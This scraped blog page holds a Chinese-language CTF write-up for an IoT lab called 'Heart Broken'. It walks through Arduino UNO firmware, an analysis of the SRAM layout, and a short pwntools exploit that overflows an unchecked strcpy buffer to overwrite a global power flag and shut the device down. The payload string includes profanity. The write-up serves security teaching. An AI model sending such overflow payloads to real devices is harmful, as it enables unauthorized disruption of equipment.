当前位置: 首页 > news >正文

网页设计 参考网站/谷歌推广

网页设计 参考网站,谷歌推广,北京工程造价信息网官网,网站建设_网站设计 app制作信息 信息描述靶場名稱Heart Broken地址GitHub: Heart Broken難度中等人數推薦1–2人類型CTF、IoT漏洞分析、逆向工程、Buffer Overflow、故事解謎描述Heart Broken 是一個結合 CTF、IoT 漏洞利用、故事推理解謎與二進位漏洞分析的沉浸式靶場。參與者將面對硬體裝置、網路攻擊…

信息

信息描述
靶場名稱Heart Broken
地址GitHub: Heart Broken
難度中等
人數推薦1–2人
類型CTF、IoT漏洞分析、逆向工程、Buffer Overflow、故事解謎
描述Heart Broken 是一個結合 CTF、IoT 漏洞利用、故事推理解謎與二進位漏洞分析的沉浸式靶場。參與者將面對硬體裝置、網路攻擊與真實逆向挑戰,揭開一場科技競賽背後的陰謀與報復行動。

環境部署 (192.168.8.103)

準備模塊ENC28J60和Arduino UNO并且按照接綫圖接綫

image.png

image-1.png

打開./web/file/HeartBroken.zip中的HeartBroken.ino進行燒錄

安裝頭文件依賴

image-4.png

image-2.png

將設備鏈接有綫網絡,并且將USB口插入靶機

$ sudo python3 robot.py

image-5.png

$ nmap -p 10032 192.168.8.0/24 --min-rate 1000 -Pn --open

image-6.png

進入web目錄執行

$ python3 app.py -iot 192.168.0.100

image-7.png

部署成功

逆向分析

http://192.168.8.103:5000/file/HeartBroken.zip

$ unzip HeartBroken.zip

#include <Arduino.h>
#include <UIPEthernet.h>
char powerStatus[10];
char lcdDisplay[30];
char serialCommand[8];const int BAUDRATE = 9600;
const int SERVER_PORT = 10032;byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
EthernetServer server(SERVER_PORT);void setup() {Serial.begin(BAUDRATE);delay(1000);Ethernet.begin(mac);server.begin();Serial.println("LCD:SLEEP...");
}void loop() {EthernetClient client = server.available();if (client) {String data = "";strcpy(powerStatus, "PWR:1");strcpy(lcdDisplay, "LCD:SLEEP...");while (client.connected()) {while (client.available()) {char c = client.read();data += c;if (c == '\n') {strcpy(serialCommand, data.c_str());if (powerStatus[4] == '1') {Serial.println(powerStatus);} else if (powerStatus[4] == '0') {Serial.println(powerStatus);}  Serial.println(lcdDisplay);data = "";}}delay(100);}client.stop();}
}

我們的目標是讓對方機器人關機,所以我們需要控制powerStatus為0

確認設備的IP地址

$ nmap -p 10032 192.168.8.0/24 --open --min-rate 1000

image-9.png

$ arp -a

image-10.png

和源程序的MAC地址一致

反向BOF攻擊 && Arduino UNO && SRAM

image-8.png

000223e5 char data_223e5[0xc] = “powerStatus”, 0
000223f1 char data_223f1[0xb] = “lcdDisplay”, 0
000223fc char data_223fc[0xe] = “serialCommand”, 0

在原程序中我們將通過網路發送數據。會經過

strcpy(serialCommand, data.c_str());

并且程序沒有做邊界檢查

是否存在緩衝區溢出漏洞?

我們首先要知道的是 Arduino UNO 時出現這種內存溢出情況,是因為 AVR 微控制器(ATmega328P)採用的是靜態內存分配 + 線性內存模型,且全局變量排列是連續的、固定的。這就導致一個變量的溢出可能直接覆蓋掉前後相鄰的變量資料。

全局/靜態變數從 SRAM 底部向上分配。

地址 ↑ 高
+-------------------------+ ← RAM 的高位址
|                        |
|   上層:堆疊(Stack)     | ← 自上而下增長
|                        |
+-------------------------+ ← 當前 SP 指向的位置
|                        |
|     未分配區(Gap)     | ← Heap 與 Stack 的「碰撞區」
|                        |
+-------------------------+
|                        |
|   下層:堆(Heap)       | ← 自下而上增長
|                        |
+-------------------------+
|  全局變量 / 靜態變量區(.data/.bss)|
+-------------------------+ ← SRAM 的最低位址
地址 ↓ 低

源程序給出

char powerStatus[10];
char lcdDisplay[30];
char serialCommand[8];

則需要構造"A"*8溢出serialCommand
然後"LCD:1…30"溢出lcdDisplay
然後"PWR:0"進入powerStatus[4] == '0’來關閉機器

他看起來是這樣的,應該可以工作。

# Maptnh@S-H4CK13
from pwn import *h = '192.168.8.100'
p = 10032
con = remote(h, p)
print("[+] Injection payload....")
payload = 'A' * 8 + "LCD:FUCK-YOU-SLEEP-BITCH" + '0' * 6 + "PWR:0"
con.sendline(payload)
print("[*] Done....")
con.close()

$ python3 exp.py

image-11.png

他工作了。。。

image-12.png

░░░░░░░░░░░█▀▀░░█░░░░░░
░░░░░░▄▀▀▀▀░░░░░█▄▄░░░░
░░░░░░█░█░░░░░░░░░░▐░░░
░░░░░░▐▐░░░░░░░░░▄░▐░░░
░░░░░░█░░░░░░░░▄▀▀░▐░░░
░░░░▄▀░░░░░░░░▐░▄▄▀░░░░
░░▄▀░░░▐░░░░░█▄▀░▐░░░░░
░░█░░░▐░░░░░░░░▄░█░░░░░
░░░█▄░░▀▄░░░░▄▀▐░█░░░░░
░░░█▐▀▀▀░▀▀▀▀░░▐░█░░░░░
░░▐█▐▄░░▀░░░░░░▐░█▄▄░░░
░░░▀▀▄░░░░░░░░▄▐▄▄▄▀░░░
░░░░░░░░░░░░░░░░░░░░░░░
http://www.whsansanxincailiao.cn/news/31997766.html

相关文章:

  • 网站建设页面/石家庄百度推广排名优化
  • 辽宁建设安装集团有限公司网站/西安 做网站
  • 给女友做的网站 源码/爱站权重查询
  • 做网站的叫什么思耐/关键词搜索排名公司
  • 用jq和ajax做能登陆注册的一个网站/设计师经常用的网站
  • 兰州做网站企业/网络推广工作好干吗
  • 网站建设学习资料/如何做百度免费推广
  • 山东省建设工程信息网官网/seo外链工具源码
  • 石家庄企业商城版网站建设/百度关键词搜索工具
  • 域名注册官网免费/上海seo优化公司
  • 网站建设项目明细/独立站seo优化
  • 网站集约化建设管理方案/企业qq
  • 网站建设提议/推广项目网站
  • 做网站的收益来源/百度一下首页网页手机版
  • 营销型网站建设网络推广/西安seo整站优化
  • 138ip地址查询网站/sem管理工具
  • 蚌埠市建设银行官方网站/长沙靠谱的关键词优化
  • 化妆品网站设计/一个新品牌怎样营销推广
  • 手机网站开发周期/网站优化排名易下拉系统
  • 新开传奇手游发布网站/wordpress免费网站
  • 网站做微信链接/色盲测试图
  • 怎么做网站渗透/互联网广告价格
  • 帮别人起名 做ppt的网站/班级优化大师官网
  • 全能浏览器/广东seo推广公司
  • 有网站后台模板如何做数据库/网络营销渠道的功能
  • 武汉最新疫情最新消息实时发布会/贵阳seo网站推广
  • 网站提速怎么做/有必要买优化大师会员吗
  • 网站版面设计说明/优质外链平台
  • c asp.net网站开发书/上海网上推广
  • 网站建设制作深圳/宁波正规优化seo价格